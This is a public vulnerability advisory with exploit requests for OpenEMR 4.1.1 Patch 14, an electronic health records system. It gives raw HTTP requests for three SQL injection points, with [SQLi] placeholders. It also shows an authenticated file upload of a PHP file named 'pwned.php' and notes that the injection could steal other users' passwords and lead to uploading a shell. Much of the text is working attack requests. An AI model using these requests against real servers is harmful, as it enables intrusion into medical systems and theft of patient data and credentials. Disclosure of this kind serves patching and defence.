OpenEMR 4.1.1 Patch 14 – Multiple Vulnerabilities
################################################################################################################################### # Exploit Title: OpenEMR 4.1.1 Patch 14 Multiple Vulnerabilities # Date: Sep 17 2013 # Exploit Author: xistence < xistence[at]0x90[.]nl > # Vendor Homepage: www.open-emr.org # Tested on: CentOS 5.9 32-bit # Affected Version : 4.1.1 Patch 14 and lower # Fix: Upgrade to OpenEMR 4.1.2 # # Software details: # # OpenEMR is a Free and Open Source electronic health records and medical practice management application that can run on # Windows, Linux, Mac OS X, and many other platforms. OpenEMR is ONC Complete Ambulatory EHR certified and is one of # the most popular open source electronic medical records in use today. OpenEMR is supported by a strong community of # volunteers #and professionals all with the common goal of making OpenEMR a superior alternative to its proprietary counterparts. # The OpenEMR community is dedicated to guarding OpenEMR's status as a free, open source software solution for # medicalpractices # and is dedicated to maintaining a spirit of openness, kindness and cooperation. # ################################################################################################################################### [ SQL Injection ] [0x01] - The "authProvider" parameter in the "interface/main/main_screen.php" POST script is vulnerable to SQL Injection. A valid "authPass" password is needed before injection is possible (hash below is the default password "pass") POST /openemr/interface/main/main_screen.php?auth=login&site=default HTTP/1.1 Host: <IP> Referer: http://<IP>/openemr/interface/login/login.php Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 135 authProvider=Default'[SQLi]&authUser=admin&clearPass=&languageChoice=1&authPass=9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684&authNewPass= The POST request below could be used to retrieve passwords from other users and gain higher privileges (and after that upload a shell) [0x02] - The "form_pubid" parameter in the "interface/new/new_comprehensive_save.php" script is vulnerable to SQL Injection. POST /openemr/interface/new/new_comprehensive_save.php HTTP/1.1 Host: <IP> Referer: http://<IP>/openemr/interface/new/new.php Cookie: OpenEMR=blahblahblah Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 286 form_cb_1=1&form_title=Mr.&form_fname=pwned&form_mname=&form_lname=pwned&form_pubpid=[SQLi]&form_DOB=2013-07-15&form_sex=Female&form_ss=&form_drivers_license=&form_status=&form_genericname1=&form_genericval1=&form_genericname2=&form_genericval2=&form_cb_2=1&form_street=&form_city=&form_stat [0x03] - The "set_pid" parameter in the "interface/patient_file/summary/demographics.php" script is vulnerable to SQL Injection. http://<IP>/openemr/interface/patient_file/summary/demographics.php?set_pid=-1[SQLi] [ Arbitrary file upload ] [0x01] - It's possible to upload any file after being authenticated. POST /openemr/interface/super/manage_site_files.php HTTP/1.1 Host: <IP> Referer: http://<IP>/openemr/interface/super/manage_site_files.php Cookie: OpenEMR=blahblahblah Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------6745387234061449481375110870 Content-Length: 355 -----------------------------6745387234061449481375110870 Content-Disposition: form-data; name="form_image"; filename="pwned.php" Content-Type: text/php <?php phpinfo(); ?> -----------------------------6745387234061449481375110870 Content-Disposition: form-data; name="bn_save" Save -----------------------------6745387234061449481375110870-- |